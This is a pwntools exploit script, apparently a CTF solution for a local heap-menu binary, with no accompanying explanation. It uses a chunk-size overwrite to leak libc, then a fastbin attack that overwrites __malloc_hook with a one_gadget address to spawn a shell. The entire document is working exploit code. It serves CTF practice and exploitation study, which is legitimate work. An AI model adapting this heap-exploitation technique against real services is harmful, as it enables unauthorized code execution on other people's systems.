1 from pwn import *
 2 
 3 p = process(‘./pwn‘)
 4 libc = ELF(‘./libc.so.6‘)
 5 context.log_level = ‘debug‘
 6 
 7 def duan():
 8     gdb.attach(p)
 9     pause()
10 def add(size,content):
11     p.sendlineafter(‘choice:‘,‘2‘)
12     p.sendlineafter(‘name:‘,str(size))
13     p.sendafter(‘item:‘,content)
14 def show():
15     p.sendlineafter(‘choice:‘,‘1‘)
16 def edit(index,size,content):
17     p.sendlineafter(‘choice:‘,‘3‘)
18     p.sendlineafter(‘item:‘,str(index))
19     p.sendlineafter(‘name:‘,str(size))
20     p.sendafter(‘item:‘,content)
21 def delete(index):
22     p.sendlineafter(‘choice:‘,‘4‘)
23     p.sendlineafter(‘item:‘,str(index))
24 
25 og = [0x45226,0x4527a,0xf0364,0xf1207]
26 
27 add(0x20,‘aaaaaaaa‘)
28 add(0x20,‘bbbbbbbb‘)
29 add(0x60,‘cccccccc‘)
30 add(0x10,‘cccccccc‘)
31 
32 edit(0,0x30,‘a‘*0x20+p64(0)+p64(0xa1))
33 delete(1)
34 add(0x20,‘aaaaaaaa‘)
35 show()
36 libc_base = u64(p.recvuntil(‘\x7f‘)[-6:].ljust(8,‘\x00‘))-88-0x10-libc.symbols[‘__malloc_hook‘]
37 malloc_hook = libc_base+libc.symbols[‘__malloc_hook‘]
38 realloc = libc_base+libc.symbols[‘realloc‘]
39 print ‘libc_base-->‘+hex(libc_base)
40 print ‘malloc_hook-->‘+hex(malloc_hook)
41 shell = libc_base+og[3]
42 
43 add(0x60,‘bbbbbbbb‘)
44 delete(4)
45 edit(2,0x10,p64(malloc_hook-0x23))
46 add(0x60,‘aaaaaaaa‘)
47 add(0x60,‘a‘*(0x13-0x8)+p64(shell)+p64(realloc+20))
48 p.sendlineafter(‘choice:‘,‘2‘)
49 p.sendlineafter(‘name:‘,str(0x10))
50 p.interactive()